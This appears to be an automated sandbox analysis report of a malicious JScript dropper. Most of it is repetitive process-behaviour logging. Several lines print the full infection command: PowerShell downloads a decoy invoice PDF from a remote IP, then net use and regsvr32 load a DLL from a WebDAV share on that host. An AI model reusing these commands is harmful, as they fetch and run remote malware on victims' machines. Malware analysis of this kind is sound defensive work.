Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\468.js.csv");ITextStream.WriteLine(" entry:7868 f:ipkbrjmlj");ITextStream.WriteLine(" exec:2 f:ipkbrjmlj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49721

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4774			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5017			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484	Thread sleep count: 4774 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484	Thread sleep count: 5017 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7528	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7572	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7756	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8036	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1391045212.0000015BBA4E9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1392773228.0000015BBA488000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2634679427.0000011386859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2633522071.000001138102B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
